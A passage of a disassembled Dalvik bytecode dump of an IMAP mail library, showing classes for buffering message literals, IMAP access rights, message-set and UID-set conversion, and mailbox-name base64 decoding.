0000000C  const/16                v0, 0x2000
00000010  new-array               v0, v0, [B
00000014  iput-object             v0, p0, LengthCounter->buf:[B
00000018  iput                    p1, p0, LengthCounter->maxsize:I
0000001C  return-void
.end method

.method public getBytes()[B
          .registers 2
00000000  iget-object             v0, p0, LengthCounter->buf:[B
00000004  return-object           v0
.end method

.method public getSize()I
          .registers 2
00000000  iget                    v0, p0, LengthCounter->size:I
00000004  return                  v0
.end method

.method public write(I)V
          .registers 7
00000000  const/4                 v4, 0x0
00000002  iget                    v0, p0, LengthCounter->size:I
00000006  add-int/lit8            v0, v0, 0x1
0000000A  iget-object             v1, p0, LengthCounter->buf:[B
0000000E  if-eqz                  v1, :28
:12
00000012  iget                    v1, p0, LengthCounter->maxsize:I
00000016  if-le                   v0, v1, :2E
:1A
0000001A  iget                    v1, p0, LengthCounter->maxsize:I
0000001E  if-ltz                  v1, :2E
:22
00000022  const/4                 v1, 0x0
00000024  iput-object             v1, p0, LengthCounter->buf:[B
:28
00000028  iput                    v0, p0, LengthCounter->size:I
0000002C  return-void
:2E
0000002E  iget-object             v1, p0, LengthCounter->buf:[B
00000032  array-length            v1, v1
00000034  if-le                   v0, v1, :70
:38
00000038  iget-object             v1, p0, LengthCounter->buf:[B
0000003C  array-length            v1, v1
0000003E  shl-int/lit8            v1, v1, 0x1
00000042  invoke-static           Math->max(I, I)I, v1, v0
00000048  move-result             v1
0000004A  new-array               v1, v1, [B
0000004E  iget-object             v2, p0, LengthCounter->buf:[B
00000052  iget                    v3, p0, LengthCounter->size:I
00000056  invoke-static           System->arraycopy(Object, I, Object, I, I)V, v2, v4, v1, v4, v3
0000005C  iput-object             v1, p0, LengthCounter->buf:[B
00000060  iget-object             v1, p0, LengthCounter->buf:[B
00000064  iget                    v2, p0, LengthCounter->size:I
00000068  int-to-byte             v3, p1
0000006A  aput-byte               v3, v1, v2
0000006E  goto                    :28
:70
00000070  iget-object             v1, p0, LengthCounter->buf:[B
00000074  iget                    v2, p0, LengthCounter->size:I
00000078  int-to-byte             v3, p1
0000007A  aput-byte               v3, v1, v2
0000007E  goto                    :28
.end method

.method public write([B)V
          .registers 4
00000000  const/4                 v0, 0x0
00000002  array-length            v1, p1
00000004  invoke-virtual          LengthCounter->write([B, I, I)V, p0, p1, v0, v1
0000000A  return-void
.end method

.method public write([B, I, I)V
          .registers 9
00000000  const/4                 v4, 0x0
00000002  if-ltz                  p2, :22
:6
00000006  array-length            v0, p1
00000008  if-gt                   p2, v0, :22
:C
0000000C  if-ltz                  p3, :22
:10
00000010  add-int                 v0, p2, p3
00000014  array-length            v1, p1
00000016  if-gt                   v0, v1, :22
:1A
0000001A  add-int                 v0, p2, p3
0000001E  if-gez                  v0, :2E
:22
00000022  new-instance            v0, IndexOutOfBoundsException
00000026  invoke-direct           IndexOutOfBoundsException-><init>()V, v0
0000002C  throw                   v0
:2E
0000002E  if-nez                  p3, :34
:32
00000032  return-void
:34
00000034  iget                    v0, p0, LengthCounter->size:I
00000038  add-int/2addr           v0, p3
0000003A  iget-object             v1, p0, LengthCounter->buf:[B
0000003E  if-eqz                  v1, :58
:42
00000042  iget                    v1, p0, LengthCounter->maxsize:I
00000046  if-le                   v0, v1, :5E
:4A
0000004A  iget                    v1, p0, LengthCounter->maxsize:I
0000004E  if-ltz                  v1, :5E
:52
00000052  const/4                 v1, 0x0
00000054  iput-object             v1, p0, LengthCounter->buf:[B
:58
00000058  iput                    v0, p0, LengthCounter->size:I
0000005C  goto                    :32
:5E
0000005E  iget-object             v1, p0, LengthCounter->buf:[B
00000062  array-length            v1, v1
00000064  if-le                   v0, v1, :A0
:68
00000068  iget-object             v1, p0, LengthCounter->buf:[B
0000006C  array-length            v1, v1
0000006E  shl-int/lit8            v1, v1, 0x1
00000072  invoke-static           Math->max(I, I)I, v1, v0
00000078  move-result             v1
0000007A  new-array               v1, v1, [B
0000007E  iget-object             v2, p0, LengthCounter->buf:[B
00000082  iget                    v3, p0, LengthCounter->size:I
00000086  invoke-static           System->arraycopy(Object, I, Object, I, I)V, v2, v4, v1, v4, v3
0000008C  iput-object             v1, p0, LengthCounter->buf:[B
00000090  iget-object             v1, p0, LengthCounter->buf:[B
00000094  iget                    v2, p0, LengthCounter->size:I
00000098  invoke-static           System->arraycopy(Object, I, Object, I, I)V, p1, p2, v1, v2, p3
0000009E  goto                    :58
:A0
000000A0  iget-object             v1, p0, LengthCounter->buf:[B
000000A4  iget                    v2, p0, LengthCounter->size:I
000000A8  invoke-static           System->arraycopy(Object, I, Object, I, I)V, p1, p2, v1, v2, p3
000000AE  goto                    :58
.end method

#--------------------------------------------------------------------------------
.class MessageLiteral
.super Object
.source ""

.implements Literal

.field private buf:[B
.field private msg:Message
.field private msgSize:I

.method public constructor <init>(Message, I)V
          .registers 5
00000000  invoke-direct           Object-><init>()V, p0
00000006  const/4                 v0, 0xFFFFFFFFFFFFFFFF
00000008  iput                    v0, p0, MessageLiteral->msgSize:I
0000000C  iput-object             p1, p0, MessageLiteral->msg:Message
00000010  new-instance            v0, LengthCounter
00000014  invoke-direct           LengthCounter-><init>(I)V, v0, p2
0000001A  new-instance            v1, CRLFOutputStream
0000001E  invoke-direct           CRLFOutputStream-><init>(OutputStream)V, v1, v0
00000024  invoke-virtual          Message->writeTo(OutputStream)V, p1, v1
0000002A  invoke-virtual          OutputStream->flush()V, v1
00000030  invoke-virtual          LengthCounter->getSize()I, v0
00000036  move-result             v1
00000038  iput                    v1, p0, MessageLiteral->msgSize:I
0000003C  invoke-virtual          LengthCounter->getBytes()[B, v0
00000042  move-result-object      v0
00000044  iput-object             v0, p0, MessageLiteral->buf:[B
00000048  return-void
.end method

.method public size()I
          .registers 2
00000000  iget                    v0, p0, MessageLiteral->msgSize:I
00000004  return                  v0
.end method

.method public writeTo(OutputStream)V
          .registers 6
00000000  iget-object             v0, p0, MessageLiteral->buf:[B
00000004  if-eqz                  v0, :1A
:8
00000008  iget-object             v0, p0, MessageLiteral->buf:[B
0000000C  const/4                 v1, 0x0
0000000E  iget                    v2, p0, MessageLiteral->msgSize:I
00000012  invoke-virtual          OutputStream->write([B, I, I)V, p1, v0, v1, v2
:18
00000018  return-void
:1A
0000001A  new-instance            v0, CRLFOutputStream
0000001E  invoke-direct           CRLFOutputStream-><init>(OutputStream)V, v0, p1
00000024  iget-object             v1, p0, MessageLiteral->msg:Message
00000028  invoke-virtual          Message->writeTo(OutputStream)V, v1, v0
:2E
0000002E  goto                    :18
:30
00000030  move-exception          v0
00000032  new-instance            v1, IOException
00000036  new-instance            v2, StringBuilder
0000003A  const-string            v3, "MessagingException while appending message: "
0000003E  invoke-direct           StringBuilder-><init>(String)V, v2, v3
00000044  invoke-virtual          StringBuilder->append(Object)StringBuilder, v2, v0
0000004A  move-result-object      v0
0000004C  invoke-virtual          StringBuilder->toString()String, v0
00000052  move-result-object      v0
00000054  invoke-direct           IOException-><init>(String)V, v1, v0
0000005A  throw                   v1
          .catch MessagingException {:0 .. :2E} :30
.end method

#--------------------------------------------------------------------------------
.class public final Rights$Right
.super Object
.source ""

.field public static final ADMINISTER:Rights$Right
.field public static final CREATE:Rights$Right
.field public static final DELETE:Rights$Right
.field public static final INSERT:Rights$Right
.field public static final KEEP_SEEN:Rights$Right
.field public static final LOOKUP:Rights$Right
.field public static final POST:Rights$Right
.field public static final READ:Rights$Right
.field public static final WRITE:Rights$Right
.field private static cache:[Rights$Right
.field right:C

.method static constructor <clinit>()V
          .registers 1
00000000  const/16                v0, 0x80
00000004  new-array               v0, v0, [Rights$Right
00000008  sput-object             v0, Rights$Right->cache:[Rights$Right
0000000C  const/16                v0, 0x6C
00000010  invoke-static           Rights$Right->getInstance(C)Rights$Right, v0
00000016  move-result-object      v0
00000018  sput-object             v0, Rights$Right->LOOKUP:Rights$Right
0000001C  const/16                v0, 0x72
00000020  invoke-static           Rights$Right->getInstance(C)Rights$Right, v0
00000026  move-result-object      v0
00000028  sput-object             v0, Rights$Right->READ:Rights$Right
0000002C  const/16                v0, 0x73
00000030  invoke-static           Rights$Right->getInstance(C)Rights$Right, v0
00000036  move-result-object      v0
00000038  sput-object             v0, Rights$Right->KEEP_SEEN:Rights$Right
0000003C  const/16                v0, 0x77
00000040  invoke-static           Rights$Right->getInstance(C)Rights$Right, v0
00000046  move-result-object      v0
00000048  sput-object             v0, Rights$Right->WRITE:Rights$Right
0000004C  const/16                v0, 0x69
00000050  invoke-static           Rights$Right->getInstance(C)Rights$Right, v0
00000056  move-result-object      v0
00000058  sput-object             v0, Rights$Right->INSERT:Rights$Right
0000005C  const/16                v0, 0x70
00000060  invoke-static           Rights$Right->getInstance(C)Rights$Right, v0
00000066  move-result-object      v0
00000068  sput-object             v0, Rights$Right->POST:Rights$Right
0000006C  const/16                v0, 0x63
00000070  invoke-static           Rights$Right->getInstance(C)Rights$Right, v0
00000076  move-result-object      v0
00000078  sput-object             v0, Rights$Right->CREATE:Rights$Right
0000007C  const/16                v0, 0x64
00000080  invoke-static           Rights$Right->getInstance(C)Rights$Right, v0
00000086  move-result-object      v0
00000088  sput-object             v0, Rights$Right->DELETE:Rights$Right
0000008C  const/16                v0, 0x61
00000090  invoke-static           Rights$Right->getInstance(C)Rights$Right, v0
00000096  move-result-object      v0
00000098  sput-object             v0, Rights$Right->ADMINISTER:Rights$Right
0000009C  return-void
.end method

.method private constructor <init>(C)V
          .registers 4
00000000  invoke-direct           Object-><init>()V, p0
00000006  const/16                v0, 0x80
0000000A  if-lt                   p1, v0, :1E
:E
0000000E  new-instance            v0, IllegalArgumentException
00000012  const-string            v1, "Right must be ASCII"
00000016  invoke-direct           IllegalArgumentException-><init>(String)V, v0, v1
0000001C  throw                   v0
:1E
0000001E  iput-char               p1, p0, Rights$Right->right:C
00000022  return-void
.end method

.method public static declared-synchronized getInstance(C)Rights$Right
          .registers 4
00000000  const-class             v1, Rights$Right
00000004  monitor-enter           v1
00000006  const/16                v0, 0x80
0000000A  if-lt                   p0, v0, :24
:E
0000000E  new-instance            v0, IllegalArgumentException
00000012  const-string            v2, "Right must be ASCII"
00000016  invoke-direct           IllegalArgumentException-><init>(String)V, v0, v2
0000001C  throw                   v0
:1E
0000001E  move-exception          v0
00000020  monitor-exit            v1
00000022  throw                   v0
:24
00000024  sget-object             v0, Rights$Right->cache:[Rights$Right
00000028  aget-object             v0, v0, p0
0000002C  if-nez                  v0, :42
:30
00000030  sget-object             v0, Rights$Right->cache:[Rights$Right
00000034  new-instance            v2, Rights$Right
00000038  invoke-direct           Rights$Right-><init>(C)V, v2, p0
0000003E  aput-object             v2, v0, p0
:42
00000042  sget-object             v0, Rights$Right->cache:[Rights$Right
00000046  aget-object             v0, v0, p0
:4A
0000004A  monitor-exit            v1
0000004C  return-object           v0
          .catchall {:E .. :1E} :1E
          .catchall {:24 .. :4A} :1E
.end method

.method public toString()String
          .registers 2
00000000  iget-char               v0, p0, Rights$Right->right:C
00000004  invoke-static           String->valueOf(C)String, v0
0000000A  move-result-object      v0
0000000C  return-object           v0
.end method

#--------------------------------------------------------------------------------
.class public Rights
.super Object
.source ""

.implements Cloneable

.field private rights:[Z

.method public constructor <init>()V
          .registers 2
00000000  invoke-direct           Object-><init>()V, p0
00000006  const/16                v0, 0x80
0000000A  new-array               v0, v0, [Z
0000000E  iput-object             v0, p0, Rights->rights:[Z
00000012  return-void
.end method

.method public constructor <init>(Rights$Right)V
          .registers 5
00000000  invoke-direct           Object-><init>()V, p0
00000006  const/16                v0, 0x80
0000000A  new-array               v0, v0, [Z
0000000E  iput-object             v0, p0, Rights->rights:[Z
00000012  iget-object             v0, p0, Rights->rights:[Z
00000016  iget-char               v1, p1, Rights$Right->right:C
0000001A  const/4                 v2, 0x1
0000001C  aput-boolean            v2, v0, v1
00000020  return-void
.end method

.method public constructor <init>(Rights)V
          .registers 6
00000000  const/4                 v3, 0x0
00000002  invoke-direct           Object-><init>()V, p0
00000008  const/16                v0, 0x80
0000000C  new-array               v0, v0, [Z
00000010  iput-object             v0, p0, Rights->rights:[Z
00000014  iget-object             v0, p1, Rights->rights:[Z
00000018  iget-object             v1, p0, Rights->rights:[Z
0000001C  iget-object             v2, p0, Rights->rights:[Z
00000020  array-length            v2, v2
00000022  invoke-static           System->arraycopy(Object, I, Object, I, I)V, v0, v3, v1, v3, v2
00000028  return-void
.end method

.method public constructor <init>(String)V
          .registers 4
00000000  invoke-direct           Object-><init>()V, p0
00000006  const/16                v0, 0x80
0000000A  new-array               v0, v0, [Z
0000000E  iput-object             v0, p0, Rights->rights:[Z
00000012  const/4                 v0, 0x0
:14
00000014  invoke-virtual          String->length()I, p1
0000001A  move-result             v1
0000001C  if-lt                   v0, v1, :22
:20
00000020  return-void
:22
00000022  invoke-virtual          String->charAt(I)C, p1, v0
00000028  move-result             v1
0000002A  invoke-static           Rights$Right->getInstance(C)Rights$Right, v1
00000030  move-result-object      v1
00000032  invoke-virtual          Rights->add(Rights$Right)V, p0, v1
00000038  add-int/lit8            v0, v0, 0x1
0000003C  goto                    :14
.end method

.method public add(Rights$Right)V
          .registers 5
00000000  iget-object             v0, p0, Rights->rights:[Z
00000004  iget-char               v1, p1, Rights$Right->right:C
00000008  const/4                 v2, 0x1
0000000A  aput-boolean            v2, v0, v1
0000000E  return-void
.end method

.method public add(Rights)V
          .registers 5
00000000  const/4                 v0, 0x0
:2
00000002  iget-object             v1, p1, Rights->rights:[Z
00000006  array-length            v1, v1
00000008  if-lt                   v0, v1, :E
:C
0000000C  return-void
:E
0000000E  iget-object             v1, p1, Rights->rights:[Z
00000012  aget-boolean            v1, v1, v0
00000016  if-eqz                  v1, :24
:1A
0000001A  iget-object             v1, p0, Rights->rights:[Z
0000001E  const/4                 v2, 0x1
00000020  aput-boolean            v2, v1, v0
:24
00000024  add-int/lit8            v0, v0, 0x1
00000028  goto                    :2
.end method

.method public clone()Object
          .registers 7
00000000  const/4                 v1, 0x0
:2
00000002  invoke-super            Object->clone()Object, p0
00000008  move-result-object      v0
0000000A  check-cast              v0, Rights
:E
0000000E  const/16                v1, 0x80
:12
00000012  new-array               v1, v1, [Z
00000016  iput-object             v1, v0, Rights->rights:[Z
0000001A  iget-object             v1, p0, Rights->rights:[Z
0000001E  const/4                 v2, 0x0
00000020  iget-object             v3, v0, Rights->rights:[Z
00000024  const/4                 v4, 0x0
00000026  iget-object             v5, p0, Rights->rights:[Z
0000002A  array-length            v5, v5
0000002C  invoke-static           System->arraycopy(Object, I, Object, I, I)V, v1, v2, v3, v4, v5
:32
00000032  return-object           v0
:34
00000034  move-exception          v0
00000036  move-object             v0, v1
00000038  goto                    :32
:3A
0000003A  move-exception          v1
0000003C  goto                    :32
          .catch CloneNotSupportedException {:2 .. :E} :34
          .catch CloneNotSupportedException {:12 .. :32} :3A
.end method

.method public contains(Rights$Right)Z
          .registers 4
00000000  iget-object             v0, p0, Rights->rights:[Z
00000004  iget-char               v1, p1, Rights$Right->right:C
00000008  aget-boolean            v0, v0, v1
0000000C  return                  v0
.end method

.method public contains(Rights)Z
          .registers 5
00000000  const/4                 v1, 0x0
00000002  move                    v0, v1
:4
00000004  iget-object             v2, p1, Rights->rights:[Z
00000008  array-length            v2, v2
0000000A  if-lt                   v0, v2, :12
:E
0000000E  const/4                 v1, 0x1
:10
00000010  return                  v1
:12
00000012  iget-object             v2, p1, Rights->rights:[Z
00000016  aget-boolean            v2, v2, v0
0000001A  if-eqz                  v2, :2A
:1E
0000001E  iget-object             v2, p0, Rights->rights:[Z
00000022  aget-boolean            v2, v2, v0
00000026  if-eqz                  v2, :10
:2A
0000002A  add-int/lit8            v0, v0, 0x1
0000002E  goto                    :4
.end method

.method public equals(Object)Z
          .registers 6
00000000  const/4                 v1, 0x0
00000002  instance-of             v0, p1, Rights
00000006  if-nez                  v0, :C
:A
0000000A  return                  v1
:C
0000000C  check-cast              p1, Rights
00000010  move                    v0, v1
:12
00000012  iget-object             v2, p1, Rights->rights:[Z
00000016  array-length            v2, v2
00000018  if-lt                   v0, v2, :20
:1C
0000001C  const/4                 v1, 0x1
0000001E  goto                    :A
:20
00000020  iget-object             v2, p1, Rights->rights:[Z
00000024  aget-boolean            v2, v2, v0
00000028  iget-object             v3, p0, Rights->rights:[Z
0000002C  aget-boolean            v3, v3, v0
00000030  if-ne                   v2, v3, :A
:34
00000034  add-int/lit8            v0, v0, 0x1
00000038  goto                    :12
.end method

.method public getRights()[Rights$Right
          .registers 4
00000000  new-instance            v1, Vector
00000004  invoke-direct           Vector-><init>()V, v1
0000000A  const/4                 v0, 0x0
:C
0000000C  iget-object             v2, p0, Rights->rights:[Z
00000010  array-length            v2, v2
00000012  if-lt                   v0, v2, :2A
:16
00000016  invoke-virtual          Vector->size()I, v1
0000001C  move-result             v0
0000001E  new-array               v0, v0, [Rights$Right
00000022  invoke-virtual          Vector->copyInto([Object)V, v1, v0
00000028  return-object           v0
:2A
0000002A  iget-object             v2, p0, Rights->rights:[Z
0000002E  aget-boolean            v2, v2, v0
00000032  if-eqz                  v2, :46
:36
00000036  int-to-char             v2, v0
00000038  invoke-static           Rights$Right->getInstance(C)Rights$Right, v2
0000003E  move-result-object      v2
00000040  invoke-virtual          Vector->addElement(Object)V, v1, v2
:46
00000046  add-int/lit8            v0, v0, 0x1
0000004A  goto                    :C
.end method

.method public hashCode()I
          .registers 4
00000000  const/4                 v0, 0x0
00000002  move                    v1, v0
:4
00000004  iget-object             v2, p0, Rights->rights:[Z
00000008  array-length            v2, v2
0000000A  if-lt                   v0, v2, :10
:E
0000000E  return                  v1
:10
00000010  iget-object             v2, p0, Rights->rights:[Z
00000014  aget-boolean            v2, v2, v0
00000018  if-eqz                  v2, :20
:1C
0000001C  add-int/lit8            v1, v1, 0x1
:20
00000020  add-int/lit8            v0, v0, 0x1
00000024  goto                    :4
.end method

.method public remove(Rights$Right)V
          .registers 5
00000000  iget-object             v0, p0, Rights->rights:[Z
00000004  iget-char               v1, p1, Rights$Right->right:C
00000008  const/4                 v2, 0x0
0000000A  aput-boolean            v2, v0, v1
0000000E  return-void
.end method

.method public remove(Rights)V
          .registers 5
00000000  const/4                 v1, 0x0
00000002  move                    v0, v1
:4
00000004  iget-object             v2, p1, Rights->rights:[Z
00000008  array-length            v2, v2
0000000A  if-lt                   v0, v2, :10
:E
0000000E  return-void
:10
00000010  iget-object             v2, p1, Rights->rights:[Z
00000014  aget-boolean            v2, v2, v0
00000018  if-eqz                  v2, :24
:1C
0000001C  iget-object             v2, p0, Rights->rights:[Z
00000020  aput-boolean            v1, v2, v0
:24
00000024  add-int/lit8            v0, v0, 0x1
00000028  goto                    :4
.end method

.method public toString()String
          .registers 4
00000000  new-instance            v1, StringBuffer
00000004  invoke-direct           StringBuffer-><init>()V, v1
0000000A  const/4                 v0, 0x0
:C
0000000C  iget-object             v2, p0, Rights->rights:[Z
00000010  array-length            v2, v2
00000012  if-lt                   v0, v2, :20
:16
00000016  invoke-virtual          StringBuffer->toString()String, v1
0000001C  move-result-object      v0
0000001E  return-object           v0
:20
00000020  iget-object             v2, p0, Rights->rights:[Z
00000024  aget-boolean            v2, v2, v0
00000028  if-eqz                  v2, :34
:2C
0000002C  int-to-char             v2, v0
0000002E  invoke-virtual          StringBuffer->append(C)StringBuffer, v1, v2
:34
00000034  add-int/lit8            v0, v0, 0x1
00000038  goto                    :C
.end method

#--------------------------------------------------------------------------------
.class public final Utility
.super Object
.source ""

.method private constructor <init>()V
          .registers 1
00000000  invoke-direct           Object-><init>()V, p0
00000006  return-void
.end method

.method public static toMessageSet([Message, Utility$Condition)[MessageSet
          .registers 8
00000000  new-instance            v4, Vector
00000004  const/4                 v0, 0x1
00000006  invoke-direct           Vector-><init>(I)V, v4, v0
0000000C  const/4                 v0, 0x0
0000000E  move                    v1, v0
:10
00000010  array-length            v0, p0
00000012  if-lt                   v1, v0, :26
:16
00000016  invoke-virtual          Vector->isEmpty()Z, v4
0000001C  move-result             v0
0000001E  if-eqz                  v0, :C6
:22
00000022  const/4                 v0, 0x0
:24
00000024  return-object           v0
:26
00000026  aget-object             v0, p0, v1
0000002A  check-cast              v0, IMAPMessage
0000002E  invoke-virtual          IMAPMessage->isExpunged()Z, v0
00000034  move-result             v2
00000036  if-eqz                  v2, :42
:3A
0000003A  add-int/lit8            v0, v1, 0x1
0000003E  move                    v1, v0
00000040  goto                    :10
:42
00000042  invoke-virtual          IMAPMessage->getSequenceNumber()I, v0
00000048  move-result             v2
0000004A  if-eqz                  p1, :5A
:4E
0000004E  invoke-interface        Utility$Condition->test(IMAPMessage)Z, p1, v0
00000054  move-result             v0
00000056  if-eqz                  v0, :3A
:5A
0000005A  new-instance            v5, MessageSet
0000005E  invoke-direct           MessageSet-><init>()V, v5
00000064  iput                    v2, v5, MessageSet->start:I
00000068  add-int/lit8            v0, v1, 0x1
0000006C  move                    v1, v0
:6E
0000006E  array-length            v0, p0
00000070  if-lt                   v1, v0, :80
:74
00000074  iput                    v2, v5, MessageSet->end:I
00000078  invoke-virtual          Vector->addElement(Object)V, v4, v5
0000007E  goto                    :3A
:80
00000080  aget-object             v0, p0, v1
00000084  check-cast              v0, IMAPMessage
00000088  invoke-virtual          IMAPMessage->isExpunged()Z, v0
0000008E  move-result             v3
00000090  if-eqz                  v3, :9C
:94
00000094  add-int/lit8            v0, v1, 0x1
00000098  move                    v1, v0
0000009A  goto                    :6E
:9C
0000009C  invoke-virtual          IMAPMessage->getSequenceNumber()I, v0
000000A2  move-result             v3
000000A4  if-eqz                  p1, :B4
:A8
000000A8  invoke-interface        Utility$Condition->test(IMAPMessage)Z, p1, v0
000000AE  move-result             v0
000000B0  if-eqz                  v0, :94
:B4
000000B4  add-int/lit8            v0, v2, 0x1
000000B8  if-ne                   v3, v0, :C0
:BC
000000BC  move                    v2, v3
000000BE  goto                    :94
:C0
000000C0  add-int/lit8            v1, v1, 0xFFFFFFFFFFFFFFFF
000000C4  goto                    :74
:C6
000000C6  invoke-virtual          Vector->size()I, v4
000000CC  move-result             v0
000000CE  new-array               v0, v0, [MessageSet
000000D2  invoke-virtual          Vector->copyInto([Object)V, v4, v0
000000D8  goto                    :24
.end method

.method public static toUIDSet([Message)[UIDSet
          .registers 11
00000000  new-instance            v6, Vector
00000004  const/4                 v0, 0x1
00000006  invoke-direct           Vector-><init>(I)V, v6, v0
0000000C  const/4                 v0, 0x0
0000000E  move                    v1, v0
:10
00000010  array-length            v0, p0
00000012  if-lt                   v1, v0, :26
:16
00000016  invoke-virtual          Vector->isEmpty()Z, v6
0000001C  move-result             v0
0000001E  if-eqz                  v0, :AC
:22
00000022  const/4                 v0, 0x0
:24
00000024  return-object           v0
:26
00000026  aget-object             v0, p0, v1
0000002A  check-cast              v0, IMAPMessage
0000002E  invoke-virtual          IMAPMessage->isExpunged()Z, v0
00000034  move-result             v2
00000036  if-eqz                  v2, :42
:3A
0000003A  add-int/lit8            v0, v1, 0x1
0000003E  move                    v1, v0
00000040  goto                    :10
:42
00000042  invoke-virtual          IMAPMessage->getUID()J, v0
00000048  move-result-wide        v2
0000004A  new-instance            v7, UIDSet
0000004E  invoke-direct           UIDSet-><init>()V, v7
00000054  iput-wide               v2, v7, UIDSet->start:J
00000058  add-int/lit8            v0, v1, 0x1
0000005C  move                    v1, v0
:5E
0000005E  array-length            v0, p0
00000060  if-lt                   v1, v0, :70
:64
00000064  iput-wide               v2, v7, UIDSet->end:J
00000068  invoke-virtual          Vector->addElement(Object)V, v6, v7
0000006E  goto                    :3A
:70
00000070  aget-object             v0, p0, v1
00000074  check-cast              v0, IMAPMessage
00000078  invoke-virtual          IMAPMessage->isExpunged()Z, v0
0000007E  move-result             v4
00000080  if-eqz                  v4, :8C
:84
00000084  add-int/lit8            v0, v1, 0x1
00000088  move                    v1, v0
0000008A  goto                    :5E
:8C
0000008C  invoke-virtual          IMAPMessage->getUID()J, v0
00000092  move-result-wide        v4
00000094  const-wide/16           v8, 0x1
00000098  add-long/2addr          v8, v2
0000009A  cmp-long                v0, v4, v8
0000009E  if-nez                  v0, :A6
:A2
000000A2  move-wide               v2, v4
000000A4  goto                    :84
:A6
000000A6  add-int/lit8            v1, v1, 0xFFFFFFFFFFFFFFFF
000000AA  goto                    :64
:AC
000000AC  invoke-virtual          Vector->size()I, v6
000000B2  move-result             v0
000000B4  new-array               v0, v0, [UIDSet
000000B8  invoke-virtual          Vector->copyInto([Object)V, v6, v0
000000BE  goto                    :24
.end method

#--------------------------------------------------------------------------------
.class public BASE64MailboxDecoder
.super Object
.source ""

.field static final pem_array:[C
.field private static final pem_convert_array:[B

.method static constructor <clinit>()V
          .registers 4
00000000  const/4                 v0, 0x0
00000002  const/16                v1, 0x40
00000006  new-array               v1, v1, [C
0000000A  fill-array-data         v1, :60
00000010  sput-object             v1, BASE64MailboxDecoder->pem_array:[C
00000014  const/16                v1, 0x100
00000018  new-array               v1, v1, [B
0000001C  sput-object             v1, BASE64MailboxDecoder->pem_convert_array:[B
00000020  move                    v1, v0
:22
00000022  const/16                v2, 0xFF
00000026  if-lt                   v1, v2, :36
:2A
0000002A  sget-object             v1, BASE64MailboxDecoder->pem_array:[C
0000002E  array-length            v1, v1
00000030  if-lt                   v0, v1, :46
:34
00000034  return-void
:36
00000036  sget-object             v2, BASE64MailboxDecoder->pem_convert_array:[B
0000003A  const/4                 v3, 0xFFFFFFFFFFFFFFFF
0000003C  aput-byte               v3, v2, v1
00000040  add-int/lit8            v1, v1, 0x1
00000044  goto                    :22
:46
00000046  sget-object             v1, BASE64MailboxDecoder->pem_convert_array:[B
0000004A  sget-object             v2, BASE64MailboxDecoder->pem_array:[C
0000004E  aget-char               v2, v2, v0
00000052  int-to-byte             v3, v0
00000054  aput-byte               v3, v1, v2
00000058  add-int/lit8            v0, v0, 0x1
0000005C  goto                    :2A
00000060  .array-data 2 x 0x40
              0x41
              0x42
              0x43
              0x44
              0x45
              0x46
              0x47
              0x48
              0x49
              0x4A
              0x4B
              0x4C
              0x4D
              0x4E
              0x4F
              0x50
              0x51
              0x52
              0x53
              0x54
              0x55
              0x56
              0x57
              0x58
              0x59
              0x5A
              0x61
              0x62
              0x63
              0x64
              0x65
              0x66
              0x67
              0x68
              0x69
              0x6A
              0x6B
              0x6C
              0x6D
              0x6E
              0x6F
              0x70
              0x71
              0x72
              0x73
              0x74
              0x75
              0x76
              0x77
              0x78
              0x79
              0x7A
              0x30
              0x31
              0x32
              0x33
              0x34
              0x35
              0x36
              0x37
              0x38
              0x39
              0x2B
              0x2C
          .end array-data
.end method

.method public constructor <init>()V
          .registers 1
00000000  invoke-direct           Object-><init>()V, p0
00000006  return-void
.end method

.method protected static base64decode([C, I, CharacterIterator)I
          .registers 11
00000000  const/16                v7, 0x3D
00000004  const/16                v6, 0x2D
00000008  const/4                 v1, 0xFFFFFFFFFFFFFFFF
0000000A  const/4                 v0, 0x1
0000000C  move                    v2, v0
0000000E  move                    v0, v1
:10
00000010  invoke-interface        CharacterIterator->next()C, p2
00000016  move-result             v3
00000018  int-to-byte             v3, v3
0000001A  if-ne                   v3, v1, :20
:1E
0000001E  return                  p1
:20
00000020  if-ne                   v3, v6, :38
:24
00000024  if-eqz                  v2, :1E
:28
00000028  add-int/lit8            v0, p1, 0x1
0000002C  const/16                v1, 0x26
00000030  aput-char               v1, p0, p1
00000034  move                    p1, v0
00000036  goto                    :1E
:38
00000038  const/4                 v2, 0x0
0000003A  invoke-interface        CharacterIterator->next()C, p2
00000040  move-result             v4
00000042  int-to-byte             v4, v4
00000044  if-eq                   v4, v1, :1E
:48
00000048  if-eq                   v4, v6, :1E
:4C
0000004C  sget-object             v5, BASE64MailboxDecoder->pem_convert_array:[B
00000050  and-int/lit16           v3, v3, 0xFF
00000054  aget-byte               v3, v5, v3
00000058  sget-object             v5, BASE64MailboxDecoder->pem_convert_array:[B
0000005C  and-int/lit16           v4, v4, 0xFF
00000060  aget-byte               v4, v5, v4
00000064  shl-int/lit8            v3, v3, 0x2
00000068  and-int/lit16           v3, v3, 0xFC
0000006C  ushr-int/lit8           v5, v4, 0x4
00000070  and-int/lit8            v5, v5, 0x3
00000074  or-int/2addr            v3, v5
00000076  int-to-byte             v5, v3
00000078  if-eq                   v0, v1, :144
:7C
0000007C  add-int/lit8            v3, p1, 0x1
00000080  shl-int/lit8            v0, v0, 0x8
00000084  and-int/lit16           v5, v5, 0xFF
00000088  or-int/2addr            v0, v5
0000008A  int-to-char             v0, v0
0000008C  aput-char               v0, p0, p1
00000090  move                    v0, v1
00000092  move                    p1, v3
:94
00000094  invoke-interface        CharacterIterator->next()C, p2
0000009A  move-result             v3
0000009C  int-to-byte             v3, v3
0000009E  if-eq                   v3, v7, :10
:A2
000000A2  if-eq                   v3, v1, :1E
:A6
000000A6  if-eq                   v3, v6, :1E
:AA
000000AA  sget-object             v5, BASE64MailboxDecoder->pem_convert_array:[B
000000AE  and-int/lit16           v3, v3, 0xFF
000000B2  aget-byte               v5, v5, v3
000000B6  shl-int/lit8            v3, v4, 0x4
000000BA  and-int/lit16           v3, v3, 0xF0
000000BE  ushr-int/lit8           v4, v5, 0x2
000000C2  and-int/lit8            v4, v4, 0xF
000000C6  or-int/2addr            v3, v4
000000C8  int-to-byte             v4, v3
000000CA  if-eq                   v0, v1, :14A
:CE
000000CE  add-int/lit8            v3, p1, 0x1
000000D2  shl-int/lit8            v0, v0, 0x8
000000D6  and-int/lit16           v4, v4, 0xFF
000000DA  or-int/2addr            v0, v4
000000DC  int-to-char             v0, v0
000000DE  aput-char               v0, p0, p1
000000E2  move                    v0, v1
000000E4  move                    p1, v3
:E6
000000E6  invoke-interface        CharacterIterator->next()C, p2
000000EC  move-result             v3
000000EE  int-to-byte             v3, v3
000000F0  if-eq                   v3, v7, :10
:F4
000000F4  if-eq                   v3, v1, :1E
